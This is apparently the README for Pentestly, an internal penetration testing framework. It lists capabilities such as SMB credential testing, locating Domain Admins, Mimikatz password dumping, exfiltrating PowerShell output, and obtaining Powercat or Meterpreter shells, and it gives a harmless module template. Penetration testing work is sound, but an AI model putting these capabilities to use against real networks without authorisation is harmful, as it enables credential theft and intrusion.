Pentestly - Python and Powershell internal Penetration Testing Framework
Blog post: Pentestly Framework: When Pentesting Meets Python and Powershell
Author: @ctfhacker / Cory Duplantis
Demo
Current features
- Import NMAP XML
- Test SMB authentication using:
- individual credentials
- file containing credentials
- null credentials
- NTLM hash
- Test local administrator privileges for successful SMB authentication
- Identify readable SMB shares for valid credentials
- Store Domain/Enterprise Admin account names
- Determine location of running Domain Admin processes
- Determine systems of logged in Domain Admins
- Execute Powershell commands in memory and exfil results
- Execute Mimikatz to gather plaintext password from memory ( Invoke-Mimikatz.ps1 )
- Receive a command shell ( Powercat )
- Receive a meterpreter session ( Invoke-Shellcode.ps1 )
Shoulders of Giants
Pentestly stands on the shoulders of giants. Below are the current tools utilized in Pentestly:
- recon-ng - Backend database for recon-ng is beautifully made and leveraged in Pentestly for data manipulation
- wmiexec.py - Allows us to execute Powershell commands quickly and easily via WMI
- smbmap.py - Useful utility for enumerating SMB shares
- Invoke-Mimikatz.ps1 - Implementation of Mimikatz in Powershell
- powercat.ps1 - Netcat-esque functionality in Powershell
- Invoke-Shellcode.ps1 - Deploy Meterpreter in Powershell
- CrackMapExec - Source of inspiration for the simple Mimikatz server in Pentestly

Usage
Let's walk through several functions currently implemented.
Change workspace

Contributing
Creating new modules is easy in Pentestly. Begin with the code provided in
skeleton.py
: from libs.pentestlymodule import PentestlyModule
class Module(PentestlyModule):
meta = {
'name': 'Your module name goes here',
'author': 'Developer name goes here',
'description': 'Description of the module goes here',
'query': 'SQL QUERY whose result is passed to your module',
'options': (
('Option1', 'Default Value', Required-True/False, 'Description of option'),
),
}
def module_pre(self):
# Optional
# Happens before your module
def module_run(self, data):
# Required
# data is the result from the SQL query set in the options
### Few magic functions
# self.query - Perform an SQL query on the internal database
results = self.query("select * from pentestly_creds")
# self.output - print default information to the user
self.output("Performed an SQL query")
self.output(results)
# self.alert - print successful message to the user
self.success("Yay! We performed successful work")
def module_post(self):
# Optional
# Happens after your module
The key points here are to fill the meta
dict with the corresponding information as well as the module_run
function for module functionality. This script is then placed in the
modules/
folder or in your personal ~/.pentestly/modules
folder for portability. Stay tuned for a detailed example script explanation in the coming weeks.
TODO
- Implement
secretsdump.py
module - Add utility functions for database queries similar to
creds
,services
- Rework draw_table function to have fixed width columns
- Import credentials from Gladius
- Implement GPP password search and decrypt module
- Look into utilizing Invoke-Shellcode
